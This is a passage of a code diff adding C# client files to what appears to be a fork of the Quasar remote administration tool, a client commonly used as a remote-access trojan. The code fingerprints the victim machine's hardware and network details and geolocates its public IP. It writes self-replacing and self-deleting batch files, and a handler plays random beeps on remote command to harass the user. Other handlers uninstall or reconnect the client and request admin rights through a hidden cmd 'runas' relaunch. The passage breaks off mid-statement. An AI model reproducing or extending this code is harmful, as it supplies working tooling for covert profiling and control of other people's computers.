return batchFile;
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Creates the update batch file.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="currentFilePath">The current file path of the client.</param>
|
||||||
|
/// <param name="newFilePath">The new file path of the client.</param>
|
||||||
|
/// <returns>The file path to the batch file which can then get executed. Returns an empty string on failure.</returns>
|
||||||
|
public static string CreateUpdateBatch(string currentFilePath, string newFilePath)
|
||||||
|
{
|
||||||
|
string batchFile = FileHelper.GetTempFilePath(".bat");
|
||||||
|
|
||||||
|
string updateBatch =
|
||||||
|
"@echo off" + "\r\n" +
|
||||||
|
"chcp 65001" + "\r\n" + // Unicode path support for cyrillic, chinese, ...
|
||||||
|
"echo DONT CLOSE THIS WINDOW!" + "\r\n" +
|
||||||
|
"ping -n 10 localhost > nul" + "\r\n" +
|
||||||
|
"del /a /q /f " + "\"" + currentFilePath + "\"" + "\r\n" +
|
||||||
|
"move /y " + "\"" + newFilePath + "\"" + " " + "\"" + currentFilePath + "\"" + "\r\n" +
|
||||||
|
"start \"\" " + "\"" + currentFilePath + "\"" + "\r\n" +
|
||||||
|
"del /a /q /f " + "\"" + batchFile + "\"";
|
||||||
|
|
||||||
|
File.WriteAllText(batchFile, updateBatch, new UTF8Encoding(false));
|
||||||
|
return batchFile;
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Creates the restart batch file.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="currentFilePath">The current file path of the client.</param>
|
||||||
|
/// <returns>The file path to the batch file which can then get executed. Returns <c>string.Empty</c> on failure.</returns>
|
||||||
|
public static string CreateRestartBatch(string currentFilePath)
|
||||||
|
{
|
||||||
|
string batchFile = FileHelper.GetTempFilePath(".bat");
|
||||||
|
|
||||||
|
string restartBatch =
|
||||||
|
"@echo off" + "\r\n" +
|
||||||
|
"chcp 65001" + "\r\n" + // Unicode path support for cyrillic, chinese, ...
|
||||||
|
"echo DONT CLOSE THIS WINDOW!" + "\r\n" +
|
||||||
|
"ping -n 10 localhost > nul" + "\r\n" +
|
||||||
|
"start \"\" " + "\"" + currentFilePath + "\"" + "\r\n" +
|
||||||
|
"del /a /q /f " + "\"" + batchFile + "\"";
|
||||||
|
|
||||||
|
File.WriteAllText(batchFile, restartBatch, new UTF8Encoding(false));
|
||||||
|
|
||||||
|
return batchFile;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,264 @@
|
|||||||
|
using Quasar.Common.Cryptography;
|
||||||
|
using Quasar.Common.Helpers;
|
||||||
|
using System;
|
||||||
|
using System.Linq;
|
||||||
|
using System.Management;
|
||||||
|
using System.Net.NetworkInformation;
|
||||||
|
using System.Net.Sockets;
|
||||||
|
|
||||||
|
namespace Quasar.Client.IO
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// Provides access to retrieve information about the used hardware devices.
|
||||||
|
/// </summary>
|
||||||
|
/// <remarks>Caches the retrieved information to reduce the slowdown of the slow WMI queries.</remarks>
|
||||||
|
public static class HardwareDevices
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// Gets a unique hardware id as a combination of various hardware components.
|
||||||
|
/// </summary>
|
||||||
|
public static string HardwareId => _hardwareId ?? (_hardwareId = Sha256.ComputeHash(CpuName + MainboardName + BiosManufacturer));
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Used to cache the hardware id.
|
||||||
|
/// </summary>
|
||||||
|
private static string _hardwareId;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Gets the name of the system CPU.
|
||||||
|
/// </summary>
|
||||||
|
public static string CpuName => _cpuName ?? (_cpuName = GetCpuName());
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Used to cache the CPU name.
|
||||||
|
/// </summary>
|
||||||
|
private static string _cpuName;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Gets the name of the GPU.
|
||||||
|
/// </summary>
|
||||||
|
public static string GpuName => _gpuName ?? (_gpuName = GetGpuName());
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Used to cache the GPU name.
|
||||||
|
/// </summary>
|
||||||
|
private static string _gpuName;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Gets the name of the BIOS manufacturer.
|
||||||
|
/// </summary>
|
||||||
|
public static string BiosManufacturer => _biosManufacturer ?? (_biosManufacturer = GetBiosManufacturer());
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Used to cache the BIOS manufacturer.
|
||||||
|
/// </summary>
|
||||||
|
private static string _biosManufacturer;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Gets the name of the mainboard.
|
||||||
|
/// </summary>
|
||||||
|
public static string MainboardName => _mainboardName ?? (_mainboardName = GetMainboardName());
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Used to cache the mainboard name.
|
||||||
|
/// </summary>
|
||||||
|
private static string _mainboardName;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Gets the total physical memory of the system in megabytes (MB).
|
||||||
|
/// </summary>
|
||||||
|
public static int? TotalPhysicalMemory => _totalPhysicalMemory ?? (_totalPhysicalMemory = GetTotalPhysicalMemoryInMb());
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Used to cache the total physical memory.
|
||||||
|
/// </summary>
|
||||||
|
private static int? _totalPhysicalMemory;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Gets the LAN IP address of the network interface.
|
||||||
|
/// </summary>
|
||||||
|
public static string LanIpAddress => GetLanIpAddress();
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Gets the MAC address of the network interface.
|
||||||
|
/// </summary>
|
||||||
|
public static string MacAddress => GetMacAddress();
|
||||||
|
|
||||||
|
private static string GetBiosManufacturer()
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
string biosIdentifier = string.Empty;
|
||||||
|
string query = "SELECT * FROM Win32_BIOS";
|
||||||
|
|
||||||
|
using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(query))
|
||||||
|
{
|
||||||
|
foreach (ManagementObject mObject in searcher.Get())
|
||||||
|
{
|
||||||
|
biosIdentifier = mObject["Manufacturer"].ToString();
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return (!string.IsNullOrEmpty(biosIdentifier)) ? biosIdentifier : "N/A";
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
return "Unknown";
|
||||||
|
}
|
||||||
|
|
||||||
|
private static string GetMainboardName()
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
string mainboardIdentifier = string.Empty;
|
||||||
|
string query = "SELECT * FROM Win32_BaseBoard";
|
||||||
|
|
||||||
|
using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(query))
|
||||||
|
{
|
||||||
|
foreach (ManagementObject mObject in searcher.Get())
|
||||||
|
{
|
||||||
|
mainboardIdentifier = mObject["Manufacturer"].ToString() + " " + mObject["Product"].ToString();
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return (!string.IsNullOrEmpty(mainboardIdentifier)) ? mainboardIdentifier : "N/A";
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
return "Unknown";
|
||||||
|
}
|
||||||
|
|
||||||
|
private static string GetCpuName()
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
string cpuName = string.Empty;
|
||||||
|
string query = "SELECT * FROM Win32_Processor";
|
||||||
|
|
||||||
|
using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(query))
|
||||||
|
{
|
||||||
|
foreach (ManagementObject mObject in searcher.Get())
|
||||||
|
{
|
||||||
|
cpuName += mObject["Name"].ToString() + "; ";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
cpuName = StringHelper.RemoveLastChars(cpuName);
|
||||||
|
|
||||||
|
return (!string.IsNullOrEmpty(cpuName)) ? cpuName : "N/A";
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
return "Unknown";
|
||||||
|
}
|
||||||
|
|
||||||
|
private static int GetTotalPhysicalMemoryInMb()
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
int installedRAM = 0;
|
||||||
|
string query = "Select * From Win32_ComputerSystem";
|
||||||
|
|
||||||
|
using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(query))
|
||||||
|
{
|
||||||
|
foreach (ManagementObject mObject in searcher.Get())
|
||||||
|
{
|
||||||
|
double bytes = (Convert.ToDouble(mObject["TotalPhysicalMemory"]));
|
||||||
|
installedRAM = (int)(bytes / 1048576); // bytes to MB
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return installedRAM;
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private static string GetGpuName()
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
string gpuName = string.Empty;
|
||||||
|
string query = "SELECT * FROM Win32_DisplayConfiguration";
|
||||||
|
|
||||||
|
using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(query))
|
||||||
|
{
|
||||||
|
foreach (ManagementObject mObject in searcher.Get())
|
||||||
|
{
|
||||||
|
gpuName += mObject["Description"].ToString() + "; ";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
gpuName = StringHelper.RemoveLastChars(gpuName);
|
||||||
|
|
||||||
|
return (!string.IsNullOrEmpty(gpuName)) ? gpuName : "N/A";
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
return "Unknown";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private static string GetLanIpAddress()
|
||||||
|
{
|
||||||
|
// TODO: support multiple network interfaces
|
||||||
|
foreach (NetworkInterface ni in NetworkInterface.GetAllNetworkInterfaces())
|
||||||
|
{
|
||||||
|
GatewayIPAddressInformation gatewayAddress = ni.GetIPProperties().GatewayAddresses.FirstOrDefault();
|
||||||
|
if (gatewayAddress != null) //exclude virtual physical nic with no default gateway
|
||||||
|
{
|
||||||
|
if (ni.NetworkInterfaceType == NetworkInterfaceType.Wireless80211 ||
|
||||||
|
ni.NetworkInterfaceType == NetworkInterfaceType.Ethernet &&
|
||||||
|
ni.OperationalStatus == OperationalStatus.Up)
|
||||||
|
{
|
||||||
|
foreach (UnicastIPAddressInformation ip in ni.GetIPProperties().UnicastAddresses)
|
||||||
|
{
|
||||||
|
if (ip.Address.AddressFamily != AddressFamily.InterNetwork ||
|
||||||
|
ip.AddressPreferredLifetime == UInt32.MaxValue) // exclude virtual network addresses
|
||||||
|
continue;
|
||||||
|
|
||||||
|
return ip.Address.ToString();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return "-";
|
||||||
|
}
|
||||||
|
|
||||||
|
private static string GetMacAddress()
|
||||||
|
{
|
||||||
|
foreach (NetworkInterface ni in NetworkInterface.GetAllNetworkInterfaces())
|
||||||
|
{
|
||||||
|
if (ni.NetworkInterfaceType == NetworkInterfaceType.Wireless80211 ||
|
||||||
|
ni.NetworkInterfaceType == NetworkInterfaceType.Ethernet &&
|
||||||
|
ni.OperationalStatus == OperationalStatus.Up)
|
||||||
|
{
|
||||||
|
bool foundCorrect = false;
|
||||||
|
foreach (UnicastIPAddressInformation ip in ni.GetIPProperties().UnicastAddresses)
|
||||||
|
{
|
||||||
|
if (ip.Address.AddressFamily != AddressFamily.InterNetwork ||
|
||||||
|
ip.AddressPreferredLifetime == UInt32.MaxValue) // exclude virtual network addresses
|
||||||
|
continue;
|
||||||
|
|
||||||
|
foundCorrect = (ip.Address.ToString() == GetLanIpAddress());
|
||||||
|
}
|
||||||
|
|
||||||
|
if (foundCorrect)
|
||||||
|
return StringHelper.GetFormattedMacAddress(ni.GetPhysicalAddress().ToString());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return "-";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,16 @@
|
|||||||
|
namespace Quasar.Client.IpGeoLocation
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// Stores the IP geolocation information.
|
||||||
|
/// </summary>
|
||||||
|
public class GeoInformation
|
||||||
|
{
|
||||||
|
public string IpAddress { get; set; }
|
||||||
|
public string Country { get; set; }
|
||||||
|
public string CountryCode { get; set; }
|
||||||
|
public string Timezone { get; set; }
|
||||||
|
public string Asn { get; set; }
|
||||||
|
public string Isp { get; set; }
|
||||||
|
public int ImageIndex { get; set; }
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,47 @@
|
|||||||
|
using System;
|
||||||
|
|
||||||
|
namespace Quasar.Client.IpGeoLocation
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// Factory to retrieve and cache the last IP geolocation information for <see cref="MINIMUM_VALID_TIME"/> minutes.
|
||||||
|
/// </summary>
|
||||||
|
public static class GeoInformationFactory
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// Retriever used to get geolocation information about the WAN IP address.
|
||||||
|
/// </summary>
|
||||||
|
private static readonly GeoInformationRetriever Retriever = new GeoInformationRetriever();
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Used to cache the latest IP geolocation information.
|
||||||
|
/// </summary>
|
||||||
|
private static GeoInformation _geoInformation;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Time of the last successful location retrieval.
|
||||||
|
/// </summary>
|
||||||
|
private static DateTime _lastSuccessfulLocation = new DateTime(1, 1, 1, 0, 0, 0, DateTimeKind.Utc);
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The minimum amount of minutes a successful IP geolocation retrieval is valid.
|
||||||
|
/// </summary>
|
||||||
|
private const int MINIMUM_VALID_TIME = 60 * 12;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Gets the IP geolocation information, either cached or freshly retrieved if more than <see cref="MINIMUM_VALID_TIME"/> minutes have passed.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>The latest IP geolocation information.</returns>
|
||||||
|
public static GeoInformation GetGeoInformation()
|
||||||
|
{
|
||||||
|
var passedTime = new TimeSpan(DateTime.UtcNow.Ticks - _lastSuccessfulLocation.Ticks);
|
||||||
|
|
||||||
|
if (_geoInformation == null || passedTime.TotalMinutes > MINIMUM_VALID_TIME)
|
||||||
|
{
|
||||||
|
_geoInformation = Retriever.Retrieve();
|
||||||
|
_lastSuccessfulLocation = DateTime.UtcNow;
|
||||||
|
}
|
||||||
|
|
||||||
|
return _geoInformation;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,174 @@
|
|||||||
|
using Quasar.Client.Helper;
|
||||||
|
using System.Globalization;
|
||||||
|
using System.IO;
|
||||||
|
using System.Net;
|
||||||
|
|
||||||
|
namespace Quasar.Client.IpGeoLocation
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// Class to retrieve the IP geolocation information.
|
||||||
|
/// </summary>
|
||||||
|
public class GeoInformationRetriever
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// List of all available flag images on the server side.
|
||||||
|
/// </summary>
|
||||||
|
private readonly string[] _imageList =
|
||||||
|
{
|
||||||
|
"ad", "ae", "af", "ag", "ai", "al",
|
||||||
|
"am", "an", "ao", "ar", "as", "at", "au", "aw", "ax", "az", "ba",
|
||||||
|
"bb", "bd", "be", "bf", "bg", "bh", "bi", "bj", "bm", "bn", "bo",
|
||||||
|
"br", "bs", "bt", "bv", "bw", "by", "bz", "ca", "catalonia", "cc",
|
||||||
|
"cd", "cf", "cg", "ch", "ci", "ck", "cl", "cm", "cn", "co", "cr",
|
||||||
|
"cs", "cu", "cv", "cx", "cy", "cz", "de", "dj", "dk", "dm", "do",
|
||||||
|
"dz", "ec", "ee", "eg", "eh", "england", "er", "es", "et",
|
||||||
|
"europeanunion", "fam", "fi", "fj", "fk", "fm", "fo", "fr", "ga",
|
||||||
|
"gb", "gd", "ge", "gf", "gh", "gi", "gl", "gm", "gn", "gp", "gq",
|
||||||
|
"gr", "gs", "gt", "gu", "gw", "gy", "hk", "hm", "hn", "hr", "ht",
|
||||||
|
"hu", "id", "ie", "il", "in", "io", "iq", "ir", "is", "it", "jm",
|
||||||
|
"jo", "jp", "ke", "kg", "kh", "ki", "km", "kn", "kp", "kr", "kw",
|
||||||
|
"ky", "kz", "la", "lb", "lc", "li", "lk", "lr", "ls", "lt", "lu",
|
||||||
|
"lv", "ly", "ma", "mc", "md", "me", "mg", "mh", "mk", "ml", "mm",
|
||||||
|
"mn", "mo", "mp", "mq", "mr", "ms", "mt", "mu", "mv", "mw", "mx",
|
||||||
|
"my", "mz", "na", "nc", "ne", "nf", "ng", "ni", "nl", "no", "np",
|
||||||
|
"nr", "nu", "nz", "om", "pa", "pe", "pf", "pg", "ph", "pk", "pl",
|
||||||
|
"pm", "pn", "pr", "ps", "pt", "pw", "py", "qa", "re", "ro", "rs",
|
||||||
|
"ru", "rw", "sa", "sb", "sc", "scotland", "sd", "se", "sg", "sh",
|
||||||
|
"si", "sj", "sk", "sl", "sm", "sn", "so", "sr", "st", "sv", "sy",
|
||||||
|
"sz", "tc", "td", "tf", "tg", "th", "tj", "tk", "tl", "tm", "tn",
|
||||||
|
"to", "tr", "tt", "tv", "tw", "tz", "ua", "ug", "um", "us", "uy",
|
||||||
|
"uz", "va", "vc", "ve", "vg", "vi", "vn", "vu", "wales", "wf",
|
||||||
|
"ws", "ye", "yt", "za", "zm", "zw"
|
||||||
|
};
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Retrieves the IP geolocation information.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>The retrieved IP geolocation information.</returns>
|
||||||
|
public GeoInformation Retrieve()
|
||||||
|
{
|
||||||
|
var geo = TryRetrieveOnline() ?? TryRetrieveLocally();
|
||||||
|
|
||||||
|
if (string.IsNullOrEmpty(geo.IpAddress))
|
||||||
|
geo.IpAddress = TryGetWanIp();
|
||||||
|
|
||||||
|
geo.IpAddress = (string.IsNullOrEmpty(geo.IpAddress)) ? "Unknown" : geo.IpAddress;
|
||||||
|
geo.Country = (string.IsNullOrEmpty(geo.Country)) ? "Unknown" : geo.Country;
|
||||||
|
geo.CountryCode = (string.IsNullOrEmpty(geo.CountryCode)) ? "-" : geo.CountryCode;
|
||||||
|
geo.Timezone = (string.IsNullOrEmpty(geo.Timezone)) ? "Unknown" : geo.Timezone;
|
||||||
|
geo.Asn = (string.IsNullOrEmpty(geo.Asn)) ? "Unknown" : geo.Asn;
|
||||||
|
geo.Isp = (string.IsNullOrEmpty(geo.Isp)) ? "Unknown" : geo.Isp;
|
||||||
|
|
||||||
|
geo.ImageIndex = 0;
|
||||||
|
for (int i = 0; i < _imageList.Length; i++)
|
||||||
|
{
|
||||||
|
if (_imageList[i] == geo.CountryCode.ToLower())
|
||||||
|
{
|
||||||
|
geo.ImageIndex = i;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (geo.ImageIndex == 0) geo.ImageIndex = 247; // question icon
|
||||||
|
|
||||||
|
return geo;
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Tries to retrieve the geolocation information online.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>The retrieved geolocation information if successful, otherwise <c>null</c>.</returns>
|
||||||
|
private GeoInformation TryRetrieveOnline()
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
HttpWebRequest request = (HttpWebRequest)WebRequest.Create("https://ipwho.is/");
|
||||||
|
request.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0";
|
||||||
|
request.Proxy = null;
|
||||||
|
request.Timeout = 10000;
|
||||||
|
|
||||||
|
using (HttpWebResponse response = (HttpWebResponse)request.GetResponse())
|
||||||
|
{
|
||||||
|
using (Stream dataStream = response.GetResponseStream())
|
||||||
|
{
|
||||||
|
var geoInfo = JsonHelper.Deserialize<GeoResponse>(dataStream);
|
||||||
|
|
||||||
|
GeoInformation g = new GeoInformation
|
||||||
|
{
|
||||||
|
IpAddress = geoInfo.Ip,
|
||||||
|
Country = geoInfo.Country,
|
||||||
|
CountryCode = geoInfo.CountryCode,
|
||||||
|
Timezone = geoInfo.Timezone.UTC,
|
||||||
|
Asn = geoInfo.Connection.ASN.ToString(),
|
||||||
|
Isp = geoInfo.Connection.ISP
|
||||||
|
};
|
||||||
|
|
||||||
|
return g;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Tries to retrieve the geolocation information locally.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>The retrieved geolocation information if successful, otherwise <c>null</c>.</returns>
|
||||||
|
private GeoInformation TryRetrieveLocally()
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
GeoInformation g = new GeoInformation();
|
||||||
|
|
||||||
|
// use local information
|
||||||
|
var cultureInfo = CultureInfo.CurrentUICulture;
|
||||||
|
var region = new RegionInfo(cultureInfo.LCID);
|
||||||
|
|
||||||
|
g.Country = region.DisplayName;
|
||||||
|
g.CountryCode = region.TwoLetterISORegionName;
|
||||||
|
g.Timezone = DateTimeHelper.GetLocalTimeZone();
|
||||||
|
|
||||||
|
return g;
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Tries to retrieves the WAN IP.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>The WAN IP as string if successful, otherwise <c>null</c>.</returns>
|
||||||
|
private string TryGetWanIp()
|
||||||
|
{
|
||||||
|
string wanIp = "";
|
||||||
|
|
||||||
|
try
|
||||||
|
{
|
||||||
|
HttpWebRequest request = (HttpWebRequest)WebRequest.Create("https://api.ipify.org/");
|
||||||
|
request.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0";
|
||||||
|
request.Proxy = null;
|
||||||
|
request.Timeout = 5000;
|
||||||
|
|
||||||
|
using (HttpWebResponse response = (HttpWebResponse)request.GetResponse())
|
||||||
|
{
|
||||||
|
using (Stream dataStream = response.GetResponseStream())
|
||||||
|
{
|
||||||
|
using (StreamReader reader = new StreamReader(dataStream))
|
||||||
|
{
|
||||||
|
wanIp = reader.ReadToEnd();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
return wanIp;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,45 @@
|
|||||||
|
using System.Runtime.Serialization;
|
||||||
|
|
||||||
|
namespace Quasar.Client.IpGeoLocation
|
||||||
|
{
|
||||||
|
[DataContract]
|
||||||
|
public class GeoResponse
|
||||||
|
{
|
||||||
|
[DataMember(Name = "ip")]
|
||||||
|
public string Ip { get; set; }
|
||||||
|
|
||||||
|
[DataMember(Name = "continent_code")]
|
||||||
|
public string ContinentCode { get; set; }
|
||||||
|
|
||||||
|
[DataMember(Name = "country")]
|
||||||
|
public string Country { get; set; }
|
||||||
|
|
||||||
|
[DataMember(Name = "country_code")]
|
||||||
|
public string CountryCode { get; set; }
|
||||||
|
|
||||||
|
[DataMember(Name = "timezone")]
|
||||||
|
public Time Timezone { get; set; }
|
||||||
|
|
||||||
|
[DataMember(Name = "connection")]
|
||||||
|
public Conn Connection { get; set; }
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
[DataContract]
|
||||||
|
public class Time
|
||||||
|
{
|
||||||
|
[DataMember(Name = "utc")]
|
||||||
|
public string UTC { get; set; }
|
||||||
|
}
|
||||||
|
[DataContract]
|
||||||
|
public class Conn
|
||||||
|
{
|
||||||
|
[DataMember(Name = "asn")]
|
||||||
|
public string ASN { get; set; }
|
||||||
|
|
||||||
|
[DataMember(Name = "isp")]
|
||||||
|
public string ISP { get; set; }
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,48 @@
|
|||||||
|
using Quasar.Common.Messages;
|
||||||
|
using Quasar.Common.Networking;
|
||||||
|
using System;
|
||||||
|
using System.Threading;
|
||||||
|
|
||||||
|
namespace Quasar.Client.Messages
|
||||||
|
{
|
||||||
|
public class BeepSpamHandler : IMessageProcessor
|
||||||
|
{
|
||||||
|
private Thread _thread;
|
||||||
|
private volatile bool _running;
|
||||||
|
private readonly Random _rng = new Random();
|
||||||
|
|
||||||
|
public bool CanExecute(IMessage message) => message is DoStartBeepSpam || message is DoStopBeepSpam;
|
||||||
|
public bool CanExecuteFrom(ISender sender) => true;
|
||||||
|
|
||||||
|
public void Execute(ISender sender, IMessage message)
|
||||||
|
{
|
||||||
|
if (message is DoStartBeepSpam) Start();
|
||||||
|
else if (message is DoStopBeepSpam) Stop();
|
||||||
|
}
|
||||||
|
|
||||||
|
private void Start()
|
||||||
|
{
|
||||||
|
if (_running) return;
|
||||||
|
_running = true;
|
||||||
|
_thread = new Thread(BeepLoop) { IsBackground = true };
|
||||||
|
_thread.Start();
|
||||||
|
}
|
||||||
|
|
||||||
|
private void Stop()
|
||||||
|
{
|
||||||
|
_running = false;
|
||||||
|
}
|
||||||
|
|
||||||
|
private void BeepLoop()
|
||||||
|
{
|
||||||
|
while (_running)
|
||||||
|
{
|
||||||
|
int freq = _rng.Next(200, 3000);
|
||||||
|
int dur = _rng.Next(30, 220);
|
||||||
|
try { Console.Beep(freq, dur); } catch { }
|
||||||
|
if (!_running) break;
|
||||||
|
Thread.Sleep(_rng.Next(0, 150));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,113 @@
|
|||||||
|
using Quasar.Client.Config;
|
||||||
|
using Quasar.Client.Networking;
|
||||||
|
using Quasar.Client.Setup;
|
||||||
|
using Quasar.Client.User;
|
||||||
|
using Quasar.Client.Utilities;
|
||||||
|
using Quasar.Common.Enums;
|
||||||
|
using Quasar.Common.Messages;
|
||||||
|
using Quasar.Common.Networking;
|
||||||
|
using System;
|
||||||
|
using System.Diagnostics;
|
||||||
|
using System.Windows.Forms;
|
||||||
|
|
||||||
|
namespace Quasar.Client.Messages
|
||||||
|
{
|
||||||
|
public class ClientServicesHandler : IMessageProcessor
|
||||||
|
{
|
||||||
|
private readonly QuasarClient _client;
|
||||||
|
|
||||||
|
private readonly QuasarApplication _application;
|
||||||
|
|
||||||
|
public ClientServicesHandler(QuasarApplication application, QuasarClient client)
|
||||||
|
{
|
||||||
|
_application = application;
|
||||||
|
_client = client;
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <inheritdoc />
|
||||||
|
public bool CanExecute(IMessage message) => message is DoClientUninstall ||
|
||||||
|
message is DoClientDisconnect ||
|
||||||
|
message is DoClientReconnect ||
|
||||||
|
message is DoAskElevate;
|
||||||
|
|
||||||
|
/// <inheritdoc />
|
||||||
|
public bool CanExecuteFrom(ISender sender) => true;
|
||||||
|
|
||||||
|
/// <inheritdoc />
|
||||||
|
public void Execute(ISender sender, IMessage message)
|
||||||
|
{
|
||||||
|
switch (message)
|
||||||
|
{
|
||||||
|
case DoClientUninstall msg:
|
||||||
|
Execute(sender, msg);
|
||||||
|
break;
|
||||||
|
case DoClientDisconnect msg:
|
||||||
|
Execute(sender, msg);
|
||||||
|
break;
|
||||||
|
case DoClientReconnect msg:
|
||||||
|
Execute(sender, msg);
|
||||||
|
break;
|
||||||
|
case DoAskElevate msg:
|
||||||
|
Execute(sender, msg);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void Execute(ISender client, DoClientUninstall message)
|
||||||
|
{
|
||||||
|
client.Send(new SetStatus { Message = "Uninstalling... good bye :-(" });
|
||||||
|
try
|
||||||
|
{
|
||||||
|
new ClientUninstaller().Uninstall();
|
||||||
|
_client.Exit();
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
client.Send(new SetStatus { Message = $"Uninstall failed: {ex.Message}" });
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void Execute(ISender client, DoClientDisconnect message)
|
||||||
|
{
|
||||||
|
_client.Exit();
|
||||||
|
}
|
||||||
|
|
||||||
|
private void Execute(ISender client, DoClientReconnect message)
|
||||||
|
{
|
||||||
|
_client.Disconnect();
|
||||||
|
}
|
||||||
|
|
||||||
|
private void Execute(ISender client, DoAskElevate message)
|
||||||
|
{
|
||||||
|
var userAccount = new UserAccount();
|
||||||
|
if (userAccount.Type != AccountType.Admin)
|
||||||
|
{
|
||||||
|
ProcessStartInfo processStartInfo = new ProcessStartInfo
|
||||||
|
{
|
||||||
|
FileName = "cmd",
|
||||||
|
Verb = "runas",
|
||||||
|
Arguments = "/k START \"\" \"" + Application.ExecutablePath + "\" & EXIT",
|
||||||
|
WindowStyle = ProcessWindowStyle.Hidden,
|
||||||
|
UseShellExecute = true
|
||||||
|
};
|
||||||
|
|
||||||
|
